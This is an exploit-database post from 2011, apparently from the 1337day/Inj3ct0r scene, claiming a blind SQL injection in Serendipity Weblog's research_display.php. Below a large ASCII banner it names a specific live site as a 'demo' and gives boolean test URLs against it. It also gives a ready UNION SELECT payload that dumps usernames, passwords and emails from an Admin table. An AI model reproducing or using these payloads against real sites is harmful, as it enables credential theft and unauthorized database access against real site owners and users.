Serendipity Weblog suffers from a remote blind SQL injection vulnerability.
3ee14203657cdaad5c83df4556a13e6048baaec71db6ef057974fc67a93b89e2
#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0 _ __ __ __ 1
#1 /' \ __ /'__`\ /\ \__ /'__`\ 0
#0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
#1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
#0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
#1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
#0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
#1 \ \____/ >> Exploit database separated by exploit 0
#0 \/___/ type (local, remote, DoS, etc.) 1
#1 1
#0 [+] Site : 1337day.com 0
#1 [+] Support e-mail : submit[at]1337day.com 1
#0 0
#1 ######################################## 1
#0 I'm OuTLaWz member from Inj3ct0r Team 1
#1 ######################################## 0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# spl0itz title: Serendipity Weblog (research_display.php) (Blind/SQL Injection) Multiple Vulnerabilities
# date: 31/08/2011
# author: OuTLaWz aka The_Exploited
# vendor: http://www.s9y.org/
# version: 1.5.1
# category:: webapps
# google dork: no dork bro, is for the lamer ;)
# tested on: windows seven 32bit
# demo site: http://www.aarda.org/
# vuln url: http://www.aarda.org/research_display.php?ID=47
# blind sqli: http://www.aarda.org/research_display.php?ID=47 and 1=1 //\\ http://www.aarda.org/research_display.php?ID=47 and 1=2
# sqli: http://www.aarda.org/research_display.php?ID=-null+UNiON+ALL+SELECT+null,null,null,group_concat%28user,0x3a,pass,0x3a,email%29,null,null,null+FROM+Admin
// 2Pac R.I.P.